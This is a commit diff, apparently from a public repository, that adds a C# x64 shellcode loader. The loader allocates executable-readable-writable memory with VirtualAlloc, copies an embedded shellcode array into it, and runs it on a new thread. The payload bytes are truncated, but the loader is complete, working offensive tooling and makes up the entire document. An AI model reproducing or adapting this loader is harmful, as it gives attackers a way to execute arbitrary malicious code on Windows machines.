matterpreter · November 21, 2019 18:26 · Nov 21, 2019
diff --git a/x64ShellcodeLoader.cs b/x64ShellcodeLoader.cs
@@ -0,0 +1,69 @@
+//Thanks @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs
+using System;
+using System.Runtime.InteropServices;
+
+namespace ShellcodeLoader
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            byte[] x64shellcode = new byte[294] {
+            0xfc,0x48, ... };
+
+            IntPtr funcAddr = VirtualAlloc(
+                              IntPtr.Zero,
+                              (ulong)x64shellcode.Length,
+                              (uint)StateEnum.MEM_COMMIT, 
+                              (uint)Protection.PAGE_EXECUTE_READWRITE);
+            Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);
+
+            IntPtr hThread = IntPtr.Zero;
+            uint threadId = 0;
+            IntPtr pinfo = IntPtr.Zero;
+
+            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
+            WaitForSingleObject(hThread, 0xFFFFFFFF);
+            return;
+        }
+
+        #region pinvokes
+        [DllImport("kernel32.dll")]
+        private static extern IntPtr VirtualAlloc(
+            IntPtr lpStartAddr,
+            ulong size, 
+            uint flAllocationType, 
+            uint flProtect);
+
+        [DllImport("kernel32.dll")]
+        private static extern IntPtr CreateThread(
+            uint lpThreadAttributes,
+            uint dwStackSize,
+            IntPtr lpStartAddress,
+            IntPtr param,
+            uint dwCreationFlags,
+            ref uint lpThreadId);
+
+        [DllImport("kernel32.dll")]
+        private static extern uint WaitForSingleObject(
+            IntPtr hHandle,
+            uint dwMilliseconds);
+
+        public enum StateEnum
+        {
+            MEM_COMMIT = 0x1000,
+            MEM_RESERVE = 0x2000,
+            MEM_FREE = 0x10000
+        }
+
+        public enum Protection
+        {
+            PAGE_READONLY = 0x02,
+            PAGE_READWRITE = 0x04,
+            PAGE_EXECUTE = 0x10,
+            PAGE_EXECUTE_READ = 0x20,
+            PAGE_EXECUTE_READWRITE = 0x40,
+        }
+        #endregion
+    }
+}